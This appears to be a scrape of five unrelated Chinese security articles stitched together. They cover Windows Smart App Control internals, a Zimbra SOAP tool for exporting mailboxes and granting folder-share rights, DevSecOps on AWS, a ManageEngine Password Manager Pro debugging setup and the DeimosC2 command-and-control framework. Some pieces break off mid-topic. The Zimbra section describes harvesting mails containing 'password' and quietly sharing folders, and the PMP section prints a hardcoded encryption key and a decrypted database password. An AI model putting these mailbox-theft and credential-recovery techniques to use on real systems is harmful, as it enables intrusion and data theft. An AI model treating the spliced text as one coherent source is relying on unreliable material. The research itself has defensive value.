在之前一篇文章中,我們看到了SAC是如何啟用和初始化的。在本文中,我們將討論SAC如何執行這些操作。即使SAC是一個新功能,該功能使用的大部分代碼也已經在操作系統中了。我的意思是,在22H2之前的版本中,通過使用適當的策略規範,可以獲得類似的行為。總之,SAC的最大變化是MS將激活特定的WDAC策略,類似於啟用HVCI時,操作系統如何啟用Driver Block Rule策略。

需要注意的是,因為我們在這篇文章中看到的很多內容在操作系統中已經存在了很長時間。 AppLocker或AppID等功能利用了它。當然,有幾個方面只適用於SAC,我一定會注意到這些。從好的方面來看,這篇文章的絕大多數可以推斷出其他WDAC策略是如何評估的。

1.png

SAC運行在本節中,我們將重點關注CI處理來自內核的驗證請求所採取的步驟。我們將深入探討此過程中涉及的主要例程,還將討論CI使用的一些主要結構。正如我剛才提到的,這些步驟中的大多數並不是SAC獨有的,無論啟用哪種策略,都將採取這些步驟。如上圖所示,我們看到有三個主要的評估來源。據我所知,這些要點與以下功能/策略規範有關,至於是選擇使用一個或多個評估取決於策略規範。

OriginClaim (EAs or Token): 託管安裝程序、AppLocker、SmartScreen和SAC;

Query 防禦措施: Intelligent Security Graph (ISG) SAC;

Policy FileRules: 通用於所有具有FileRule的策略。

2.png

在上一篇文章中,我們已經說過全局g_CiPolicyState具有位NW_ENABLED,這意味著SAC已啟用,SAC策略(強製或評估)處於活動狀態,並存儲在g_SiPolicyCtx中。現在,讓我們看看CI向內核提供的回調,看看內核的驗證方式。以下函數建議執行某種類型的驗證:

CiValidateImageHeader;

CiValidateImageData;

CiValidateFileAsImageType;

CiRevalidateImage;

在本文中,我將只關注CiValidateImageHeader。

CiValidateImageHeader可以說,此函數是大多數CI驗證的主要入口點。內核將從MiValidateSectionCreate中引用的SeValidateImageHeader調用此函數。 CiValidateImageHeader將處理CI初始化的第2階段,主要初始化minCrypt、ETW、Lookaside緩衝區等。一旦完成(只有一次),第一步是獲取指定映像(CiGetActionsForImage)行為。此函數將根據諸如Requested SigningLevel之類的內容,或者如果對象來自受保護進程或系統進程,來確定將要進行的驗證操作,這些操作是位字段枚舉,但我不知道大多數值的含義.

操作進行後,函數就可以開始驗證映像了。如果操作變量設置了位0(action_FILE_In_CACHE(0x1)),則CI將嘗試獲取之前為此FO設置的任何驗證數據,並重新驗證。

在本文中,我們不會涉及CI緩存及其驗證原理。本質上,它將嘗試獲取內核EA:$Kernel.Purge.CIpCache或$Kernell.Purge.ESBCache(請參閱函數CipGetFileCache)。然後,它會將策略應用於CiApplyPolicyToSyntheticEa內的這些屬性。這個例程最終將調用CipApplySiPolicyEx,我們稍後將詳細討論。

如果未設置“file in cache”屬性,則會分配用於處理驗證的主結構(CipAllocateValidationContext)。此結構用於所有類型的驗證,例如,此上下文也用於HVCI驗證(請參閱CiHvciSetValidationContextForHvci)。一旦分配了這個上下文,我看到UMCI驗證會發生兩個操作。

如果設置了位2(ACTION_PAGE_HASH(0x4)),驗證函數為-CipValidatePageHash;

如果設置了位8(ACTION_FILE_HASH(0x100)),驗證函數為-CipValidateFileHash。

CipValidateImageHash將接收發生操作的Validation函數作為函數指針。無論傳遞的是什麼函數指針,PageHash還是FileHash,CipValidateImageHash最終都會調用它。在這兩個驗證函數中,CI都會使用被驗證對象的信息更新驗證上下文。諸如FileInfo(CipUpdateValidationContextWithFileInfo)、文件版本(CiGetFileResourceInformation)、嵌入簽名(CipImageGetCertInfo)或對象哈希(Page CipCalculateHeaderHash或File CipCalpulateImageHash)。有了所有這些信息,代碼將通過函數CipApplySiPolicyEx方法繼續應用策略。

對於未簽名映像的驗證,驗證函數將返回STATUS_INVALID_IMAGE_HASH,代碼將進入CipApplySIPolicyUMCI,最終調用前面提到的CipApply SiPolicyEx。相反,對於簽名文件,將從CiVerifyPageHashSignedFile或CiVerify FileHashSingedFile訪問此函數。簡單說明一下,這兩個函數有它們的HVCI對應函數CiHvciXxx。

CipApplySiPolicyEx顧名思義,此函數將把策略應用於正在驗證的對象。該函數將首先設置兩個結構,然後將其傳遞給驗證引擎。一個結構將保存正在驗證的ImageFile的信息,而另一個結構則包含“外部”授權過程所需的信息,我說“外部”授權是因為MS在驗證對象的回調函數名中使用了“外部”授權這個詞。

這兩個結構將存儲在Validation Context中,並且實際上都將被來自Validation Context的數據填充。其中一個包含映像數據,我命名為CI_VALIDATE_IMAGE_DATA,其中包含以下內容:

3.png

另一方面,外部授權結構(我將其命名為CI_EXTERNAL_AUTH)具有以下有趣的值:

4.png

在調用驗證引擎例程之前,CipApplySiPolicyEx將設置一個結構數組,其中包含每個策略的驗證結果,該數組的大小將等於活動策略的數量。我將此結構命名為CI_VALIDATION_RESULT,它具有以下字段:

5.png

最後,我們準備調用SIPolicyObjectValidationEngine,它具有以下原型:

6.png

這個例程將簡單地遍歷策略和補充策略,為每個策略調用內部例程SIPolicyValidateImageInternal。

內部驗證例程的任務是調用外部授權回調,以從“外部源”獲取驗證分數。它將根據此分數,選擇繼續或不繼續根據策略中的規範評估映像。我們將首先關注外部回調,設置為函數CipExternalAuthorizationCallback,然後我們將討論如何評估策略規範。

從代碼中我可以看到,這與MS在文件規範優先順序一節中聲明的有些不同。他們說“它將首先處理它找到的所有顯式拒絕規範。然後,它將處理所有顯式允許規範。如果不存在拒絕或允許規範,WDAC將檢查託管安裝程序EA。最後,如果這些集合都不存在,WDAC會回到ISG”。相反,在代碼中,似乎在處理FileRule之前檢查了託管安裝程序和ISG(外部授權)。

CipExternalAuthorizationCallback這個函數包含了SAC的核心功能,即使它從21H2到22H2沒有太大的變化,當啟用SAC時,有一些細節會造成很大的不同。儘管如此,我們將要討論的大部分內容都將被AppLocker和ISG使用(並且已經被使用了),所以從好的方面來看,我們也將從中學習一些東西。為了概述我們是如何做到這一點的,下面是我們到達外部授權回調時的堆棧,用於驗證未簽名映像時的堆棧。

7.png

該函數將通過檢查策略選項Intelligent Security Graph Authorization(智能安全圖授權)或Managed Installer(託管安裝程序)啟動,如果這些選項都沒有設置,則該函數將退出,SIPolicyValidateImageInternal將繼續處理策略FileRule,我們將在稍後的章節中看到這一點。

如果設置了任何選項,下一步是根據簽名級別確定映像是否可信。這是通過使用為映像獲取的ValidatedSigningLevel,並將此值與全局變量g_CipWhichLevelComparisons內索引為0xC的位掩碼進行比較來實現的。

請注意:全局變量g_CipWhichLevelComparisons存儲了一個指向ulong數組的指針。每個值表示適用於此簽名級別的比較級別。通常與已驗證的簽名級別一起使用,以確定映像的不同操作/選項。例如,對於等於“File Unsigned”(即數組中的索引1)的已驗證簽名級別,位掩碼為0xFFFFFFFE,因此大多數情況下測試此位掩碼時,結果都為正值。在其他情況下,如上所述,索引在代碼中被硬編碼為僅作用於與該索引的位掩碼匹配的已驗證簽名級別。下表有望幫助理解g_CipWhichLevelComparisons和ValidatedSigningLevel之間的關係。

8.png

如上表所示,索引0xC表示位掩碼0x5000,表示“Windows簽名”和“Windows TCB簽名”。此外,接下來的兩個級別“僅用於.NET NGEN編譯器的簽名”和由使用AMPPL的產品的反病毒簽名”也將包含在可信映像列表中。此時,函數將繼續調用CipCheckSmartlockerEAandProcessToken以獲得第一個驗證分數。

我覺得這是一個討論命名的好時機,希望微軟的人能聯繫到我,並澄清命名。有人稱之為Smart App Control和Nights Watch,也有人稱之為AppLocker,內部名稱似乎是SmartLocker。相同或非常相似的事物有4個不同的名稱。這確實有點令人困惑。

該函數具有以下原型:

9.png

這個函數有兩條路徑,其中一條總是被執行,另一條基於booleanIsTrustedSigning。如果不受信任,那麼下面的EA將被查詢為正在驗證的文件對象,它也試圖從當前流程文件對像中獲得相同的EA,但除了存儲在驗證上下文中,我沒有看到它們在其他地方被使用。

$ Kernel.Smartlocker.Hash: 包含映像的哈希;

$ Kernel.Purge.Smartlocker.Valid: 布爾值是否有效;

$Kernel.Smartlocker.OriginClaim: 包含我命名為EA_ORIGIN_CLAIM的結構。

10.png

如果獲得了有效的EA,那麼將檢查OriginClaim結構以確定圖像的分數。 Origin值將決定第一個分數,如果Origin==0,則score |=1,如果Origin==1,則score |=0x1002。

不過我對這方面了解不多。這很可能與WDAC在策略中設置託管安裝程序選項時在AppLocker中使用的特殊規範集合有關。這很可能與在策略中設置託管安裝程序選項時WDAC使用的AppLocker中的特殊規範集合有關。從我所看到的,我知道appid.sys確實設置了此EA,另一種設置此EA的方法是通過CI回調cisetcachedorigin聲明。這個函數在發出帶有標誌0x2000的syscall NtSetCachedSigningLevel時被內核調用,當然不像調用這個syscall來設置EA origin聲明那麼容易,如果這個syscall以前的模式是UserMode,那麼NtSetCachedSigningLevel2將確保請求來自一個受保護的進程。

下一步,無論我們是否檢查了EA,都是獲取存儲在令牌對像中的OriginClaim。對於令牌對象,origin聲明存儲在令牌的SecurityAttributes列表中,這些屬性存儲為Authz SecurityAttributes,並且可以使用函數sequerysecurityattributeken按名稱查詢/檢索。在本例中,將尋找兩個安全屬性:

SMARTLOCKER://ORIGINCLAIM;

SMARTLOCKER://SMARTSCREENORIGINCLAIMNOTINHERITED(Newin22H2,previously“SMARTLOCKER://SMARTSCREENORIGINCLAIM”)

首先將查找OriginClaim。如果發現,分數將相應調整。同樣,我對這方面不太了解,也沒有有關此聲明的結構外觀的信息(appid.sys設置此值令牌)。

之後,將查詢SmartScreen OriginClaim未繼承屬性,如果它被發現並設置標籤CLAIM_DANGEROUS_EXT (0x80) (這不是官方名稱),然後函數將繼續檢查ImageFile是否有被認為是危險擴展名。同樣,在所有情況下,代碼都將檢查ImageFile是否具有InstallerExtension。對於安裝程序擴展,它只會檢查.msi,對於危險擴展的情況,這些值如下:

11.png

如果ImageFile與這些值中的任何一個匹配,則分數將設置為DangerousExtension (0x800),並通過調用CiCatDbSmartlockerDefenderCheck向防禦措施發出查詢,有關此函數稍後將詳細討論。

0x00 前言本文將要繼續擴充開源代碼Zimbra_SOAP_API_Manage的功能,實現郵件導出和文件夾共享,分享開發細節。

0x01 簡介本文將要介紹以下內容:

郵件導出

文件夾共享

開源代碼

0x02 郵件導出Zimbra支持導出當前郵箱的所有郵件,通過Web界面的操作方法如下:

登錄郵箱後,依次選擇Preferences-Import/Export,如下圖

1.png

接下來,通過抓包的方式分析實現流程,進而使用程序實現這部分功能

1.默認配置導出郵件默認配置下,會導出所有郵件,以壓縮包的形式保存

訪問URL示例:

2.png

參數解析:

admin%40test.com為郵箱用戶,可以用~替代

filename=All-2022-07-27-181056為存在記錄時保存的文件名,2022-07-27-181056對應的時間格式為年-月-日-時分秒,時間為帶時區的時間,需要計算時差

emptyname=No+Data+to+Export為空記錄時保存的文件名

在程序實現上,需要同Web操作的格式保持一致,代碼細節:

(1)構造保存的文件名

3.png

(2)保存文件

保存文件時使用binary寫入

4.png

實現代碼示例:

5.png

2.加入篩選條件導出郵件高級選項下,可以添加篩選條件,導出特定的郵件

訪問URL示例:

6.png

參數解析,新增加了以下參數:

start=1658818800000為篩選的起始時間,格式為unix時間戳,沒有額外計算時差

end=1658991600000為篩選的結束時間,格式為unix時間戳,沒有額外計算時差

query=content%3Apassword為篩選的關鍵詞,作用是查詢正文中帶有password關鍵詞的郵件

篩選條件的語法可參考:https://wiki.zimbra.com/wiki/Zimbra_Web_Client_Search_Tips

代碼實現細節:

(1)時間格式轉換的示例代碼

時間轉換成秒:

7.png秒轉換成時間:

8.png

實現代碼示例:

9.png 10.png 11.png

0x03 文件夾共享1.流程分析Zimbra支持將當前郵箱的文件夾共享至其他用戶,通過Web界面的操作方法如下:

登錄郵箱後,依次選擇Preferences-Sharing,如下圖

12.png

文件夾共享可選擇以下三個文件夾:

Inbox

Sent

Junk

如下圖

13.png

設置共享屬性如下圖

需要區別以下設置:

(1)Role

Viewer只能查看郵件

Manager可以修改郵件

(2)Message

Send stanard message,在設置後會向目的郵箱發送一份確認郵件

Do not send mail about this share,不發送確認郵件

這裡可以通過抓包分析每項設置對應的具體數值

示例數據包1:

14.png

格式分析:

(1)

id='2'表示Inbox

Sent對應id='5'

Junk對應id='4'

通過測試,還可以指定Drafts,對應id='6'

(2)

d='test1@test.com'表示可訪問共享的郵箱

perm='r'表示權限為可讀,對應Viewer

Manager對應的配置為perm='rwidx',表示權限為讀、寫、添加和刪除

如果設置了Send stanard message,在設置後會向目的郵箱(例如test1@test.com)發送一份確認郵件,數據包格式示例:

15.png

郵箱test1@test.com會收到一份郵件,確認是否接受文件夾共享

2.代碼實現(1)添加文件共享

需要指定目標郵箱和共享文件夾

添加文件共享成功的響應中返回共享文件夾對應的zid

實現代碼示例:

16.png 17.png 18.png

(2)發送文件共享請求

需要指定目標郵箱

實現代碼示例:

19.png 20.png

這裡需要注意,只有在添加文件共享後,發送文件共享請求才能成功返回200,否則返回500,提示invalid request: no matching grant

(3)刪除文件共享

需要指定目標郵箱對應的zid和共享文件夾,zid可在添加文件共享成功的響應中獲得

實現代碼示例:

21.png 22.png

0x04 開源代碼新的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_SOAP_API_Manage.py

添加以下五個功能:

AddShare:添加文件夾共享,默認權限為rwidx

ExportMail:導出帶有搜索條件的郵件,可指定日期和關鍵詞

ExportMailAll:導出所有郵件

RemoveShare:刪除當前郵箱的文件夾共享

SendShareNotification:在添加文件夾共享後,向目標郵箱發送一封確認郵件

0x05 小結本文擴充了Zimbra SOAP API的調用方法,添加五個實用功能,實現方法和思路還可在XSS漏洞上進行測試。

使用AWS 的DevSecOps 簡介:如何將安全性集成到DevOps 中(上)

將安全性集成到DevOps 中的最佳實踐DevSecOps 的主要任務是通過確保SDLC 早期階段的安全編碼實踐,將安全性集成到DevOps 中。雖然需要自動化,但DevSecOps 不僅僅與此有關。首先,應培訓開發人員和運營專家以了解黑客的邏輯並知道如何通過安全措施來防止攻擊。只有這樣,他們才能正確使用旨在發現缺陷並確保開發和測試過程中安全的工具。

image.png

成功採用DevSecOps 的6 個最佳實踐

1. 培養安全性和開放性作為組織文化的一部分如果您想將安全性集成到您的DevOps 團隊中,第一步是通過以下活動改變您的文化:

建立知識庫。培訓開發人員和QA 專家,確保他們了解安全編碼和測試的基本原則,從而能夠負責滿足安全要求。

促進開放。鼓勵通常獨立工作的DevOps 和安全部門之間的開放式溝通和協作。確保安全指標和儀表闆對開發人員透明、可用且易於理解,以便他們可以應用它們來檢查代碼質量。

打造安全冠軍。聘請了解傳統DevOps 團隊安全性的專業安全人員,並可以指導您的團隊以確保他們在向DevSecOps 過渡期間具有安全意識。安全冠軍應該了解行業最佳實踐,並參與DevSecOps 諮詢,了解如何為軟件開發調整安全性。

但是,不要過度使用這種做法。您的員工不需要成為網絡安全專家——他們只需要足夠的知識和培訓來確保其職責範圍內的安全。

2.獲得可靠的版本控制系統短衝刺和持續交付要求開發人員在每個衝刺中對應用程序的代碼進行許多更改。您必須能夠跟踪這些更改,查看更改的內容和更改者,並查看他們是否有權這樣做。您還需要能夠快速回滾更改並恢復到以前版本的代碼。

這就是為什麼在將DevSecOps 實踐實施到SDLC 之前部署版本控制系統很重要。選擇具有以下功能的版本控制系統:

授權和身份驗證機制

開發人員的數字簽名

多樣化的變更控制技術

代碼版本的元數據集合

應用程序生命週期管理工具

您還可以選擇一個分佈式版本控制系統來鏡像軟件的代碼庫和開發人員機器上的所有代碼更改。

3. 構建DevSecOps 流程構建安全的CI/CD 管道需要在開發過程的每個階段添加安全檢查和掃描。讓我們看看在每次迭代期間您可以採取哪些措施來保護您的軟件:

image.png要在您的SDLC 中實施的關鍵DevSecOps 活動

1、軟件規劃中的安全措施除了收集功能性和非功能性軟件需求、產品特性和潛在用例之外,您還需要研究安全需求、驗收測試標準和威脅模型。從軟件規劃階段開始,還應考慮潛在的安全問題。

在規劃階段,您可以使用威脅建模和風險評估工具來了解應用程序的風險級別。如果您的應用程序將處理敏感數據或直接訪問互聯網,您可能需要構建更深層次的威脅模型。此外,如果您將任何數據用於應用程序測試,請考慮如何將其匿名化以避免隱私問題。

2、軟件開發過程中的安全措施在開發階段,DevSecOps 要求您的團隊遵循安全編碼和審查軟件設計和代碼的原則。但是,所有這些測試和檢查不應減慢開發過程。這就是為什麼您需要使盡可能多的流程自動化。

您還需要集成自動化的動態和靜態代碼測試,以便在軟件發布之前檢測安全漏洞。這些自主掃描不需要安全人員的干預,並且可以將結果直接添加到錯誤跟踪系統中。

作為此類測試的替代方法,您可以讓開發人員使用輕量級工具在其集成開發環境中進行快速代碼掃描。使自動掃描和安全測試軟件成為持續集成測試工具鏈的組成部分有助於顯著減少安全漏洞的數量。

3.持續的安全檢查DevSecOps 從業者應該通過保護他們的環境來保護他們的代碼。雖然開發人員經常使用開源應用程序和預構建的庫、容器和框架,但他們需要在使用它們之前消除這些組件中的任何已知關鍵漏洞。

這就是為什麼您需要對所有系統映像的所有內容進行漏洞檢查,包括:

雲環境

虛擬機

集裝箱

作業系統

其他軟件

持續集成應包括檢查所有操作系統和應用程序平台設置的配置是否符合安全最佳實踐。

雖然容器使用通用操作系統,但對它們的任何攻擊都可能會危及您的容器。因此,最佳實踐是在相似信任級別的工作負載上使用容器。然而,為了更強的隔離,最好使用管理程序或物理分離。

4. 迭代優先於完美傳統的開發方法告訴我們在發佈軟件之前解決所有問題。隨著DevSecOps 方法中的發布頻率,完善您的代碼直到它完美可能非常耗時,甚至可能導致在發布之前進行處理——這反過來又會導致在下一個衝刺期間花費更多的時間來修復和打補丁。

提前規劃和迭代您的工作是成功實施DevSecOps 的關鍵。因此,與其試圖在一次沖刺中達到完美,不如評估發現的安全問題,決定必須盡快解決哪些問題,並將其他問題留到未來的迭代中。

持續的風險評估和威脅監控可以幫助您決定需要盡快修復哪些漏洞。

5. 使用安全即代碼方法自動化流程雖然DevOps 使用可編程基礎設施即代碼,但安全措施也應根據這一原則進行調整。安全編碼原則應適用於腳本、模板、配方和藍圖的自動配置。安全即代碼可幫助您自動應用這些原則。

安全即代碼是一種允許開發人員在代碼中定義安全要求、策略和最佳實踐的實踐。然後,他們可以將此代碼集成到CI/CD 管道中,自動執行安全測試、檢查和掃描。使用安全即代碼,您可以自動化:

靜態和動態代碼分析

某些滲透測試活動

合規檢查

掃描漏洞和風險,例如嵌入式憑證、API 密鑰和加密密鑰

向開發人員提供反饋

image.png為什麼實施安全即代碼方法?

將您的安全需求描述為代碼需要大量的謹慎和專業知識,因為存在通過所有CI/CD 管道使用此代碼部署錯誤配置和漏洞的風險。這就是為什麼您需要在部署之前使用結對編程或進行代碼審查。此外,最好不要自動執行風險評估和優先級排序任務,或者至少在採取行動之前先審查它們的結果。

6. 管理對DevSecOps 工具的訪問傳統的靜態訪問控制工具不足以保護DevSecOps 環境中的敏感資源。瞬息萬變的環境和模糊的用戶職責範圍使得很難使用基於角色的訪問管理工具一勞永逸地配置用戶訪問權限。

為確保高級別的安全性,您需要使用動態訪問配置工具和方法,例如零信任網絡訪問控制、Kerberos 身份驗證協議或可自定義的屬性權限。

此外,DevSecOps 需要增強的機密管理。將所有代碼上傳到公共存儲庫或云服務後,您無法對敏感數據進行硬編碼或使用憑據、SSH 密鑰和API 密鑰上傳文件。相反,您應該實施一個秘密管理工具來加密這些秘密並將它們存儲在受保護的保險庫中。

這些實踐將幫助您構建快速、迭代且安全的CI/CD 管道。由於您還需要可靠的工具,讓我們了解如何在AWS 基礎設施中實施DevSecOps。

在轉向DevSecOps 時,您應該使用哪些AWS 服務?使用來自眾多供應商的工具構建完整的CI/CD 管道極具挑戰性,因為您必須擔心集成、數據收集和兼容性,並確保每個工具的工作安全。此外,對任何工具的任何更新都可能會損壞您的軟件基礎架構或自動化流程,並導致更多工作。

這就是為什麼我們更願意使用AWS 工具和服務來保護DevOps,這些工具和服務可以幫助我們構建一致且安全的管道。 AWS 虛擬基礎設施包括一組旨在自動化代碼測試的工具,特別是在整個代碼開發和質量保證過程中應用安全檢查。

image.png

面向DevSecOps 的AWS 服務

構建安全的CI/CD 管道

您可以使用這些AWS 工具和服務將安全性集成到DevOps 管道中,以實現自動化代碼構建、部署和分析:

AWS CodeBuild — 一種編譯源代碼、運行測試和準備軟件包以進行部署的服務。

AWS CodeCommit — 一種用於託管基於Git 的安全存儲庫的源代碼控制服務。要使用它,您的DevSecOps 團隊需要配置他們的Git 客戶端以與AWS CodeCommit 存儲庫通信。

AWS CodeDeploy — 一種用於將代碼自動部署到基於AWS 的本地和第三方計算服務的服務。

AWS CodePipeline — 一種高效的CI/CD 服務,允許DevOps 工程師自動執行預防性和檢測性安全控制。使用AWS CodePipeline 實施DevSecOps 可確保快速安全的軟件更新。

AWS CloudFormation — 一種用於自動安全地描述和配置基礎設施資源的服務。使用此服務,DevSecOps 從業者可以創建演示管道的安全模板。

AWS Lambda — 一種無服務器計算工具,可自動運行您的代碼以響應檢測到的觸發器。您可以使用它對范圍內的安全組執行靜態代碼分析和動態堆棧驗證。

AWS Systems Manager Parameter Store — AWS Systems Manager 的一部分,可讓您安全地存儲配置和管理機密。 Parameter Store 使AWS 基礎設施透明且可控。

應用安全機制當您將敏感數據上傳到公共(甚至私有)存儲庫或云服務時,保護敏感數據尤為重要。使用以下AWS 工具實施DevSecOps:

AWS Identity and Access Management — 一項顯示在對產品進行更改時誰負責什麼的服務。它有助於驗證誰實施了更改、審核日誌和配置存儲庫並管理訪問權限。

AWS Key Management Services — 用於創建和管理數據保護所需的加密密鑰的服務。這些服務使用經過驗證的硬件安全模塊來確保您的密鑰安全。

Amazon Virtual Private Cloud — 一項允許您在AWS 公共雲中創建私有云的服務。虛擬私有云不僅提供與私有云中其他客戶的隔離,還提供與互聯網的第3 層隔離。

自動化安全活動自動化是DevSecOps AWS 服務的核心。以下安全自動化工具可用於自動化事件響應、補救和取證:

Amazon Simple Notification Service — 一種完全託管的消息傳遞服務,用於自動化應用程序到應用程序和應用程序到個人的通信。

AWS Security Hub — 一項服務,可讓您全面了解AWS 賬戶的安全警報和安全狀況。它還有助於自動執行安全檢查和警報管理。

AWS CloudWatch — 一種AWS 資源監控工具,可從您的AWS 賬戶和部分AWS 基礎設施收集日誌並將其係統化。

AWS CloudTrail — 一種可以監控對AWS 賬戶的CloudWatch API 調用的服務。借助CloudTrail,您的安全官可以快速響應可疑活動。

結論DevOps 是改進軟件工程和維護流程的有效方法。但是,只有將安全性集成到DevOps 實踐中,公司才能充分發揮其潛力。

將DevSecOps 引入AWS 服務需要廣泛的安全培訓、周密的規劃以及自動化和手動活動的適當平衡。但是,遵循將安全性集成到DevOps 中的最佳實踐將幫助您成功克服這些挑戰。

0x00 前言本文記錄從零開始搭建Password Manager Pro漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

Password Manager Pro安裝

Password Manager Pro漏洞調試環境配置

數據庫連接

0x02 Password Manager Pro安裝1.下載最新版下載地址:https://www.manageengine.com/products/passwordmanagerpro/download.html

舊版本下載地址:https://archives2.manageengine.com/passwordmanagerpro/

最新版默認可免費試用30天,舊版本在使用時需要合法的License

注:

我在測試過程中,得出的結論是如果缺少合法的License,舊版本在使用時只能啟動一次,第二次啟動時會提示沒有合法的License

2.安裝系統要求:https://www.manageengine.com/products/passwordmanagerpro/system-requirements.html

對於Windows系統,需要Win7以上的系統,Win7不支持

默認安裝路徑:C:\Program Files\ManageEngine\PMP

3.測試安裝成功後選擇Start PMP Service

訪問https://localhost:7272

默認登錄用戶名:admin

默認登錄口令:admin

如下圖

1.png0x03 Password Manager Pro漏洞調試環境配置本文以Windows環境為例

1.Password Manager Pro設置查看服務啟動後相關的進程,如下圖

2.pngjava進程的啟動參數:

3.pngjava進程的父進程為wrapper.exe,啟動參數:

4.png查看文件C:\Program Files\ManageEngine\PAM360\conf\wrapper.conf,找到啟用調試功能的位置:

5.png取消註釋後,內容如下:

6.png

注:

Address的配置不需要設置為address=*:8787,會提示ERROR: transport error 202: gethostbyname: unknown host,設置address=8787就能夠支持遠程調試的功能

重啟服務,再次查看java進程的參數:wmic process where name='java.exe' get commandline

配置修改成功,如下圖

7.png

2.常用jar包位置路徑:C:\Program Files\ManageEngine\PMP\lib

web功能的實現文件為AdventNetPassTrix.jar

3.IDEA設置遠程調試設置如下圖

8.png

遠程調試成功,如下圖

9.png

0x04 數據庫連接默認配置下,Password Manager Pro使用postgresql存儲數據

配置文件路徑:C:\Program Files\ManageEngine\PMP\conf\database_params.conf

內容示例:

10.png 11.png

1.口令破解數據庫連接的口令被加密,加解密算法位於C:\Program Files\ManageEngine\PMP\lib\AdventNetPassTrix.jar中的com.adventnet.passtrix.ed.PMPEncryptDecryptImpl.class

密鑰固定保存在com.adventnet.passtrix.db.PMPDBPasswordGenerator.class,內容為@dv3n7n3tP@55Tri*

我們可以根據PMPEncryptDecryptImpl.class中的內容快速編寫一個解密程序

解密程序可參考:https://www.shielder.com/blog/2022/09/how-to-decrypt-manage-engine-pmp-passwords-for-fun-and-domain-admin-a-red-teaming-tale/

注:

文章中涉及數據庫口令的解密沒有問題,Master Key的解密存在Bug,解決方法將在後面的文章介紹

解密獲得連接口令為Eq5XZiQpHv

2.數據庫連接根據配置文件拼接數據庫連接的命令

(1)失敗的命令

12.png

(2)成功的命令

將localhost替換為127.0.0.1,連接成功,完整的命令為:

13.png(3)一條命令實現連接數據庫並執行數據庫操作

格式為psql --command='SELECT * FROM table;' postgresql://

示例命令:

14.png輸出如下:

15.png

發現password的數據內容被加密

0x05 小結在我們搭建好Password Manager Pro漏洞調試環境後,接下來就可以著手對漏洞進行學習。

隨著網絡防御者對Cobalt Strike的關注度上升,攻擊者一直在尋找替代的命令與控制(CC)框架,DeimosC2就是一個替代工具。

CC系統對於滲透測試人員和安全人員來說是非常有用的協作工具。它們為所有受害設備提供了一個公共的位置,以便與之聯繫、進行控制,並允許多個用戶與相同的受害設備進行交互。當執行授權測試時,這是非常重要的,因為日誌保存在一個單獨的地方,以幫助報告。然而,越來越多的這些工具被攻擊者利用,包括開源工具和商業工具。它們的易用性和穩定性讓它們能夠長時間運行而沒有任何問題,這也是為什麼攻擊者也開始轉向這些CC平台而不是建立自己的平台的原因之一。

由於大多數注意力都集中在像Cobalt Strike這樣的成熟的商業工具上,攻擊者一直在尋找能夠提供許多相同功能的其他替代品。對於防御者來說,這意味著隨著攻擊者轉向開源CC軟件,個人和組織都更難抵禦網絡攻擊了。

開源CC軟件與其他一些開源CC框架(如Ares C2、PoshC2和TrevorC2)一樣,DeimosC2提供了經典的CC框架特性,但也提供了一個感覺和行為非常像Cobalt Strike或Metasploit Pro等商業工具的用戶界面。

到目前為止,在地下犯罪組織中,將DeimosC2作為替代方案的討論還不多,但攻擊者可能會在不久的將來將DeimosC2作為首選工具。雖然DeimosC2不是攻擊者目前尋找其他CC平台使用的最受歡迎的選擇,但研究DeimosC2,可以更好地了解是什麼原因使攻擊者想要使用這個平台作為CC框架?

什麼是DeimosC2? DeimosC2是一個開源的CC框架,於2020年6月發布。它是一個功能齊全的框架,允許多個攻擊者訪問受害計算機,為其創建有效負載並與之交互。作為一個利用後的CC框架,DeimosC2將生成需要在計算機服務器上手動執行的有效負載,這些有效負載已經通過其他手段(如社會工程、利用或暴力攻擊)被破壞。一旦部署有效負載,攻擊者將獲得與執行有效負載的用戶帳戶(管理員或普通用戶)相同的系統訪問權。注意,DeimosC2不執行任何類型的活動升級或特權升級。

利用後CC服務器很受安全人員歡迎,因為它們提供了一種方便的方法,可以與多個受害設備交互,收集記錄,並存儲對每台設備所做的事情的證據。

DeimosC2的特點DeimosC2有兩種在系統上安裝的選項:一種是不依賴於安裝Go的預構建二進製文件,另一種是可以在任何安裝了Go的系統上編譯和運行的源代碼。在這項研究中,使用了Debian虛擬機(VM)中預先構建的二進製文件,因此與使用直接從GitHub項目下載的源代碼相比,某些行為可能有所不同。

3.png

GitHub上的DeimosC2服務器二進製文件

DeimosC2結合了許多與其他cc軟件平台相同的特性。像DeimosC2這樣的CC系統的主要目的之一是幫助安全人員和滲透測試人員整合他們的基礎設施,在研究期間通過共享被破壞的主機與他人協作。考慮到這一點,DeimosC2具有多個用戶支持,為用戶提供兩種角色:管理員和用戶。下圖顯示了DeimosC2測試中的兩個用戶設置。

4.png

DeimosC2中的用戶配置截圖

因為DeimosC2也是針對安全研究人員的,所以它支持多因素身份驗證(MFA)、API、備份和恢復特性,以及將系統標記為開發系統或生產系統的能力。

設置了用戶之後,下一步是設置偵聽器,偵聽器是受害設備將接觸到的套接字和協議。 DeimosC2有五種類型的偵聽器,用戶可以為其有效負載配置這些偵聽器,到目前為止我們看到的最常見的是HTTPS和TCP。我們預計,隨著這些工具的普及,我們很可能會看到攻擊者使用DNS over HTTPS DNS over HTTPS (DoH)選項。

5.png

顯示偵聽器設置類型的截圖

一旦做出選擇(在本例中是HTTPS),就會通過輸入強制設置和某些可選設置所需的數據來配置偵聽器。用戶需要設置域名和IP地址,而密鑰和大多數高級設置是可選的。

6.png

顯示HTTPS偵聽器設置的截圖

在高級設置中,有一些CC服務器工作方式的可配置選項。在這裡,你可以找到更改受害者將通過HTTP POST使用到CC服務器的默認路徑的設置。默認情況下,這些路徑是/login、/index、/settings和/profile,但可以在創建偵聽器期間更改這些路徑。它們也可以在以後更改。然而,需要創建新的二進製文件。

配置完所有設置後,將根據設置的“編譯選項”部分中的選項創建二進製文件。這些設置決定了要創建哪些二進製文件以及是否應該對它們進行模糊處理。

創建二進製文件後,通過從偵聽器選項中選擇“interactive”,即可通過界面下載它們。

7.png

為HTTPS偵聽器創建的偵聽器的截圖

一旦下載,這些軟件就可以部署到通過其他方式(如網絡釣魚或漏洞攻擊)受到威脅的設備上。易於使用,為CC通信創建開發後二進製文件。

DeimosC2代理分析雖然許多DeimosC2示例都使用了gobfuscate(一種用於混淆Go語言編寫的程序的開源工具),但我們也發現了未混淆的示例。這使我們能夠識別出DeimosC2包的名稱,我們發現這是一個開源的後開發C2框架。也可以手動消除gobfuscate等工具實現的更改的模糊化,但這太耗時。

